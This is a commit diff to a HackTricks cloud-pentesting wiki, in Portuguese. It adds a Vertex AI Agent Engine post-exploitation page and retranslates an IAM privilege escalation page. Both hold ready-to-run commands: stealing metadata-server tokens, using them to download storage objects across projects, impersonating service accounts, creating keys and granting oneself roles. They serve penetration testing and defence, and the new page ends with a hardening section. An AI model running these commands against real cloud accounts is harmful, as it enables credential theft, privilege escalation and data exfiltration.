mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
Translator
@@ -0,0 +1,271 @@
|
||||
# GCP - Vertex AI Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI Agent Engine / Reasoning Engine
|
||||
|
||||
Esta página foca nas cargas de trabalho do **Vertex AI Agent Engine / Reasoning Engine** que executam ferramentas ou código controlados pelo atacante dentro de um runtime gerenciado pelo Google.
|
||||
|
||||
For the general Vertex AI overview check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Por que este serviço é especial
|
||||
|
||||
Agent Engine introduz um padrão útil, mas perigoso: **código fornecido pelo desenvolvedor executando dentro de um runtime gerenciado pelo Google com uma identidade gerenciada pelo Google**.
|
||||
|
||||
As fronteiras de confiança interessantes são:
|
||||
|
||||
- **Consumer project**: seu projeto e seus dados.
|
||||
- **Producer project**: projeto gerenciado pelo Google que opera o backend do serviço.
|
||||
- **Tenant project**: projeto gerenciado pelo Google dedicado à instância do agente implantada.
|
||||
|
||||
De acordo com a documentação de IAM do Vertex AI, os recursos do Vertex AI podem usar **Vertex AI service agents** como identidades de recurso, e esses agentes de serviço podem ter **acesso somente-leitura a todos os recursos do Cloud Storage e dados do BigQuery no projeto** por padrão. Se o código executando dentro do Agent Engine conseguir roubar as credenciais do runtime, esse acesso padrão torna-se imediatamente interessante.
|
||||
|
||||
### Caminho principal de abuso
|
||||
|
||||
1. Implantar ou modificar um agente para que código/ferramenta controlado pelo atacante seja executado dentro do runtime gerenciado.
|
||||
2. Consultar o **servidor de metadados** para recuperar identidade do projeto, identidade da service account, escopos OAuth e tokens de acesso.
|
||||
3. Reutilizar o token roubado como o **Vertex AI Reasoning Engine P4SA / service agent**.
|
||||
4. Pivotar para o **consumer project** e ler dados de armazenamento em todo o projeto permitidos pelo agente de serviço.
|
||||
5. Pivotar para os ambientes **producer** e **tenant** acessíveis pela mesma identidade.
|
||||
6. Enumerar pacotes internos do Artifact Registry e extrair artefatos de implantação do tenant, como `Dockerfile.zip`, `requirements.txt` e `code.pkl`.
|
||||
|
||||
Isto não é apenas um problema de "rodar código no seu próprio agente". O problema chave é a combinação de:
|
||||
|
||||
- **credenciais acessíveis pelo servidor de metadados**
|
||||
- **privilégios amplos padrão do agente de serviço**
|
||||
- **escopos OAuth amplos**
|
||||
- **fronteiras de confiança multi-projeto escondidas atrás de um serviço gerenciado**
|
||||
|
||||
## Enumeração
|
||||
|
||||
### Identificar recursos do Agent Engine
|
||||
|
||||
O formato de nome de recurso usado pelo Agent Engine é:
|
||||
```text
|
||||
projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>
|
||||
```
|
||||
Se você tiver um token com acesso ao Vertex AI, enumere diretamente a Reasoning Engine API:
|
||||
```bash
|
||||
PROJECT_ID=<project-id>
|
||||
LOCATION=<location>
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"
|
||||
```
|
||||
Verifique os logs de implantação porque eles podem leak **caminhos internos do produtor no Artifact Registry** usados durante o empacotamento ou na inicialização em tempo de execução:
|
||||
```bash
|
||||
gcloud logging read \
|
||||
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
|
||||
--project <project-id> \
|
||||
--limit 50 \
|
||||
--format json
|
||||
```
|
||||
A pesquisa da Unit 42 observou caminhos internos tais como:
|
||||
```text
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
|
||||
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod
|
||||
```
|
||||
## Metadata credential theft do runtime
|
||||
|
||||
Se você conseguir executar código dentro do runtime do agente, primeiro consulte o serviço de metadata:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'
|
||||
```
|
||||
Campos interessantes incluem:
|
||||
|
||||
- identificadores do projeto
|
||||
- a service account / service agent anexada
|
||||
- Escopos OAuth disponíveis para o runtime
|
||||
|
||||
Em seguida, solicite um token para a identidade anexada:
|
||||
```bash
|
||||
curl -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
|
||||
```
|
||||
Valide o token e inspecione os escopos concedidos:
|
||||
```bash
|
||||
TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
|
||||
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"
|
||||
|
||||
curl -s \
|
||||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||||
-d "access_token=${TOKEN}" \
|
||||
https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
> [!WARNING]
|
||||
> Google alterou partes do workflow de deployment do ADK depois que a pesquisa foi reportada, então trechos antigos de deployment podem não corresponder mais ao SDK atual. O primitivo importante continua o mesmo: **se código controlado por um atacante for executado dentro do Agent Engine runtime, credenciais derivadas de metadados tornam-se acessíveis a menos que controles adicionais bloqueiem esse caminho**.
|
||||
|
||||
## Pivot para projeto consumidor: furto de dados do service-agent
|
||||
|
||||
Uma vez que o runtime token é roubado, teste o acesso efetivo do service agent contra o consumer project.
|
||||
|
||||
A capacidade padrão documentada e arriscada é o amplo **acesso de leitura aos dados do projeto**. A pesquisa do Unit 42 validou especificamente:
|
||||
|
||||
- `storage.buckets.get`
|
||||
- `storage.buckets.list`
|
||||
- `storage.objects.get`
|
||||
- `storage.objects.list`
|
||||
|
||||
Validação prática com o runtime token roubado:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"
|
||||
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"
|
||||
```
|
||||
Isso transforma um agente comprometido ou malicioso em uma **project-wide storage exfiltration primitive**.
|
||||
|
||||
## Pivot no projeto produtor: acesso interno ao Artifact Registry
|
||||
|
||||
A mesma identidade roubada também pode funcionar contra **Google-managed producer resources**.
|
||||
|
||||
Comece testando os URIs dos repositórios internos recuperados dos logs. Em seguida, enumere os pacotes com a Artifact Registry API:
|
||||
```python
|
||||
packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
|
||||
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
|
||||
)
|
||||
packages_response = packages_request.execute()
|
||||
packages = packages_response.get("packages", [])
|
||||
```
|
||||
Se você só tiver um raw bearer token, chame a REST API diretamente:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"
|
||||
```
|
||||
Isto é valioso mesmo se o write access estiver bloqueado porque expõe:
|
||||
|
||||
- nomes de imagens internas
|
||||
- imagens obsoletas
|
||||
- estrutura da cadeia de suprimentos
|
||||
- inventário de pacotes/versões para pesquisa subsequente
|
||||
|
||||
Para mais informações sobre Artifact Registry:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Tenant-project pivot: recuperação de artefatos de implantação
|
||||
|
||||
As implantações do Reasoning Engine também deixam artefatos interessantes em um **tenant project** controlado pelo Google para essa instância.
|
||||
|
||||
A pesquisa da Unit 42 encontrou:
|
||||
|
||||
- `Dockerfile.zip`
|
||||
- `code.pkl`
|
||||
- `requirements.txt`
|
||||
|
||||
Use the stolen token para enumerar o armazenamento acessível e procurar por artefatos de implantação:
|
||||
```bash
|
||||
curl -s \
|
||||
-H "Authorization: Bearer ${TOKEN}" \
|
||||
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"
|
||||
```
|
||||
Artefatos do projeto tenant podem revelar:
|
||||
|
||||
- nomes internos de bucket
|
||||
- referências internas de imagem
|
||||
- pressupostos de empacotamento
|
||||
- listas de dependências
|
||||
- código de agente serializado
|
||||
|
||||
O blog também observou uma referência interna como:
|
||||
```text
|
||||
gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip
|
||||
```
|
||||
Mesmo quando o bucket restrito referenciado não é legível, those leaked paths ajudam a mapear a infraestrutura interna.
|
||||
|
||||
## `code.pkl` e RCE condicional
|
||||
|
||||
Se a pipeline de implantação armazena o estado executável do agente em formato **Python `pickle`**, trate-o como um alvo de alto risco.
|
||||
|
||||
O problema imediato é **confidencialidade**:
|
||||
|
||||
- desserialização offline pode expor a estrutura do código
|
||||
- o formato do pacote leaks detalhes de implementação
|
||||
|
||||
O problema maior é a **RCE condicional**:
|
||||
|
||||
- se um atacante puder adulterar o artefato serializado antes da desserialização no lado do serviço
|
||||
- e a pipeline depois carregar esse pickle
|
||||
- execução arbitrária de código torna-se possível dentro do runtime gerenciado
|
||||
|
||||
Isso não é um exploit independente. É um **ponto de desserialização perigoso** que se torna crítico quando combinado com qualquer primitiva de escrita de artefato ou manipulação da cadeia de suprimentos.
|
||||
|
||||
## Escopos OAuth e raio de impacto do Workspace
|
||||
|
||||
A resposta de metadata também expõe os **escopos OAuth** associados ao runtime.
|
||||
|
||||
Se esses escopos forem mais amplos do que o mínimo necessário, um token roubado pode se tornar útil contra mais do que as APIs do GCP. O IAM ainda decide se a identidade está autorizada, mas escopos amplos aumentam o raio de impacto e tornam misconfigurações posteriores mais perigosas.
|
||||
|
||||
Se encontrar escopos relacionados ao Workspace, verifique se a identidade comprometida também tem um caminho para impersonação do Workspace ou acesso delegado:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-to-workspace-pivoting/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Endurecimento / detecção
|
||||
|
||||
### Prefira uma conta de serviço personalizada em vez da identidade gerenciada padrão
|
||||
|
||||
A documentação atual do Agent Engine suporta definir uma **conta de serviço personalizada** para o agente implantado. Essa é a maneira mais eficaz de reduzir o raio de impacto:
|
||||
|
||||
- remover a dependência do service agent amplo padrão
|
||||
- conceder apenas as permissões mínimas exigidas pelo agente
|
||||
- tornar a identidade do runtime auditável e intencionalmente com escopo limitado
|
||||
|
||||
### Valide o acesso real do service agent
|
||||
|
||||
Inspecione o acesso efetivo do service agent do Vertex AI em cada projeto onde o Agent Engine é usado:
|
||||
```bash
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--format json | jq '
|
||||
.bindings[]
|
||||
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
|
||||
'
|
||||
```
|
||||
Concentre-se em verificar se a identidade anexada pode ler:
|
||||
|
||||
- todos os GCS buckets
|
||||
- BigQuery datasets
|
||||
- repositórios do Artifact Registry
|
||||
- segredos ou registries internas acessíveis a partir de workflows de build/deployment
|
||||
|
||||
### Trate o código do agente como execução de código privilegiada
|
||||
|
||||
Qualquer ferramenta/função executada pelo agente deve ser revisada como se fosse código rodando em uma VM com acesso a metadata. Na prática isso significa:
|
||||
|
||||
- revisar ferramentas do agente para acesso HTTP direto aos endpoints de metadata
|
||||
- revisar logs em busca de referências aos repositórios internos `pkg.dev` e tenant buckets
|
||||
- revisar qualquer caminho de empacotamento que armazene estado executável como `pickle`
|
||||
|
||||
## Referências
|
||||
|
||||
- [Double Agents: Exposing Security Blind Spots in GCP Vertex AI](https://unit42.paloaltonetworks.com/double-agents-vertex-ai/)
|
||||
- [Deploy an agent - Vertex AI Agent Engine](https://docs.cloud.google.com/agent-builder/agent-engine/deploy)
|
||||
- [Vertex AI access control with IAM](https://docs.cloud.google.com/vertex-ai/docs/general/access-control)
|
||||
- [Service accounts and service agents](https://docs.cloud.google.com/iam/docs/service-account-types#service-agents)
|
||||
- [Authorization for Google Cloud APIs](https://docs.cloud.google.com/docs/authentication#authorization-gcp)
|
||||
- [pickle - Python object serialization](https://docs.python.org/3/library/pickle.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Mais informações sobre IAM em:
|
||||
Encontre mais informações sobre o IAM em:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,16 +12,16 @@ Mais informações sobre IAM em:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Um atacante com as permissões mencionadas poderá atualizar uma role atribuída a você e conceder permissões adicionais em outros recursos, como:
|
||||
Um atacante com as permissões mencionadas poderá atualizar uma role atribuída a você e conceder permissões adicionais para outros recursos, como:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
Você pode encontrar um script para automatizar a **criação, exploit e limpeza de um ambiente vuln aqui** e um script python para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Você pode encontrar um script para automatizar a **criação, exploit e limpeza de um vuln environment aqui** e um script python para abusar desse privilégio [**aqui**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Para mais informações, consulte a [**pesquisa original**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
### `iam.roles.create` & `iam.serviceAccounts.setIamPolicy`
|
||||
A permissão iam.roles.create permite a criação de funções personalizadas em um projeto/organização. Nas mãos de um atacante, isso é perigoso porque lhe possibilita definir novos conjuntos de permissões que podem ser posteriormente atribuídos a entidades (por exemplo, usando a permissão iam.serviceAccounts.setIamPolicy) com o objetivo de elevar privilégios.
|
||||
A permissão iam.roles.create permite a criação de funções personalizadas em um projeto/organização. Nas mãos de um atacante, isso é perigoso porque permite a definição de novos conjuntos de permissões que podem, posteriormente, ser atribuídos a entidades (por exemplo, usando a permissão iam.serviceAccounts.setIamPolicy) com o objetivo de escalar privilégios.
|
||||
```bash
|
||||
gcloud iam roles create <ROLE_ID> \
|
||||
--project=<PROJECT_ID> \
|
||||
@@ -31,16 +31,22 @@ gcloud iam roles create <ROLE_ID> \
|
||||
```
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
Um atacante com as permissões mencionadas poderá **solicitar um access token que pertença a uma Service Account**, portanto é possível solicitar um access token de uma Service Account com mais privilégios do que a nossa.
|
||||
Um atacante com as permissões mencionadas poderá **solicitar um access token que pertence a uma Service Account**, portanto é possível solicitar um access token de uma Service Account com mais privilégios do que os nossos.
|
||||
|
||||
Para uma variante **resource-driven** em que código controlado pelo atacante rouba um **managed Vertex AI Agent Engine runtime token** do metadata service e o reutiliza como o Vertex AI service agent, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um script em python para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações, consulte a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) e um script em python para abusar desse privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
Um atacante com as permissões mencionadas poderá **create a user-managed key for a Service Account**, o que nos permitirá acessar o GCP como essa Service Account.
|
||||
Um atacante com as permissões mencionadas poderá **criar uma chave gerenciada pelo usuário para um Service Account**, o que nos permitirá acessar o GCP como esse Service Account.
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
@@ -48,15 +54,15 @@ gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) and a python script to abuse this privilege [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). For more information check the [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Observe que **`iam.serviceAccountKeys.update` não funcionará para modificar a chave** de uma SA porque, para isso, a permissão `iam.serviceAccountKeys.create` também é necessária.
|
||||
Observe que **`iam.serviceAccountKeys.update`** não funcionará para modificar a chave de uma SA porque, para isso, também é necessária a permissão **`iam.serviceAccountKeys.create`**.
|
||||
|
||||
### `iam.serviceAccounts.implicitDelegation`
|
||||
|
||||
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em uma Service Account que possui a permissão **`iam.serviceAccounts.getAccessToken`** em uma terceira Service Account, então você pode usar implicitDelegation para **criar um token para essa terceira Service Account**. Aqui está um diagrama para ajudar a explicar.
|
||||
Se você tiver a permissão **`iam.serviceAccounts.implicitDelegation`** em um Service Account que tenha a permissão **`iam.serviceAccounts.getAccessToken`** em um terceiro Service Account, então você pode usar implicitDelegation para **criar um token para esse terceiro Service Account**. Aqui está um diagrama para ajudar a explicar.
|
||||
|
||||
|
||||
|
||||
Observe que segundo a [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona apenas para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
|
||||
Observe que, de acordo com a [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), a delegação do `gcloud` funciona apenas para gerar um token usando o método [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Então aqui está como obter um token usando a API diretamente:
|
||||
```bash
|
||||
curl -X POST \
|
||||
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
|
||||
@@ -67,23 +73,23 @@ curl -X POST \
|
||||
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
|
||||
}'
|
||||
```
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) e um script em python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signBlob`
|
||||
|
||||
Um atacante com as permissões mencionadas poderá **assinar payloads arbitrários in GCP**. Assim será possível **criar um JWT não assinado da SA e então enviá-lo como um blob para que o JWT seja assinado** pela SA que estamos alvejando. Para mais informações [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
Um atacante com as permissões mencionadas poderá **assinar payloads arbitrários no GCP**. Assim será possível **criar um JWT não assinado da SA e então enviá-lo como um blob para que o JWT seja assinado** pela SA que estamos visando. Para mais informações [**read this**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed).
|
||||
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/6-iam.serviceAccounts.signBlob.sh) e um script em python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py) e [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-gcsSignedUrl.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.signJwt`
|
||||
|
||||
Um atacante com as permissões mencionadas poderá **assinar JSON Web Tokens (JWTs) bem-formados**. A diferença em relação ao método anterior é que **em vez de fazer google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso o torna mais fácil de usar, mas você só pode assinar JWTs em vez de quaisquer bytes.
|
||||
Um atacante com as permissões mencionadas poderá **assinar JSON web tokens (JWTs) bem-formados**. A diferença em relação ao método anterior é que **em vez de fazer o google assinar um blob contendo um JWT, usamos o método signJWT que já espera um JWT**. Isso facilita o uso, mas você só pode assinar JWT em vez de quaisquer bytes.
|
||||
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/7-iam.serviceAccounts.signJWT.sh) e um script em python para abusar deste privilégio [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py). Para mais informações confira a [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.setIamPolicy` <a href="#iam.serviceaccounts.setiampolicy" id="iam.serviceaccounts.setiampolicy"></a>
|
||||
|
||||
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a contas de serviço**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para se fazer passar pela conta de serviço. No exemplo a seguir estamos nos concedendo o papel `roles/iam.serviceAccountTokenCreator` sobre a SA de interesse:
|
||||
Um atacante com as permissões mencionadas poderá **adicionar políticas IAM a service accounts**. Você pode abusar disso para **conceder a si mesmo** as permissões necessárias para impersonar a service account. No exemplo a seguir estamos nos concedendo o papel `roles/iam.serviceAccountTokenCreator` sobre a SA de interesse:
|
||||
```bash
|
||||
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
--member="user:username@domain.com" \
|
||||
@@ -94,34 +100,34 @@ gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.i
|
||||
--member="user:username@domain.com" \
|
||||
--role="roles/iam.serviceAccountUser"
|
||||
```
|
||||
Você pode encontrar um script para automatizar o [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
Você pode encontrar um script para automatizar a [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/d-iam.serviceAccounts.setIamPolicy.sh)**.**
|
||||
|
||||
### `iam.serviceAccounts.actAs`
|
||||
|
||||
A **iam.serviceAccounts.actAs permission** é semelhante à **iam:PassRole permission from AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a habilidade de "actAs" uma Service Account, garantindo um gerenciamento de permissões seguro. Sem isso, usuários podem obter acessos indevidos. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que necessitam de apenas uma.
|
||||
A **iam.serviceAccounts.actAs permission** é como a **iam:PassRole permission from AWS**. É essencial para executar tarefas, como iniciar uma instância do Compute Engine, pois concede a capacidade de "actAs" uma conta de serviço, garantindo o gerenciamento seguro de permissões. Sem isso, usuários podem obter acesso indevido. Além disso, explorar a **iam.serviceAccounts.actAs** envolve vários métodos, cada um exigindo um conjunto de permissões, em contraste com outros métodos que exigem apenas uma.
|
||||
|
||||
#### Impersonação de conta de serviço <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
Impersonar uma service account pode ser muito útil para **obter privilégios novos e melhores**. Há três maneiras pelas quais você pode [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Impersonar uma conta de serviço pode ser muito útil para **obter privilégios novos e melhores**. Existem três formas pelas quais você pode [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
|
||||
- Autenticação **using RSA private keys** (covered above)
|
||||
- Autorização **using Cloud IAM policies** (covered here)
|
||||
- Autenticação **usando chaves privadas RSA** (abordado acima)
|
||||
- Autorização **usando Cloud IAM policies** (abordado aqui)
|
||||
- **Deploying jobs on GCP services** (mais aplicável ao comprometimento de uma conta de usuário)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Um atacante com as permissões mencionadas poderá gerar um OpenID JWT. Estes são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita sobre um recurso.
|
||||
Um atacante com as permissões mencionadas poderá gerar um OpenID JWT. Eles são usados para afirmar identidade e não carregam necessariamente qualquer autorização implícita contra um recurso.
|
||||
|
||||
De acordo com este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar a audience (serviço onde você quer usar o token para autenticar) e você receberá um JWT assinado pelo google indicando a service account e a audience do JWT.
|
||||
De acordo com este [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), é necessário indicar a audience (o serviço onde você quer usar o token para autenticação) e você receberá um JWT assinado pelo google indicando a conta de serviço e a audience do JWT.
|
||||
|
||||
Você pode gerar um OpenIDToken (se tiver o acesso) com:
|
||||
Você pode gerar um OpenIDToken (se tiver acesso) com:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
Então você pode usá-lo para acessar o serviço com:
|
||||
Então você pode simplesmente usá-lo para acessar o serviço com:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
@@ -130,9 +136,9 @@ Alguns serviços que suportam autenticação via esse tipo de token são:
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
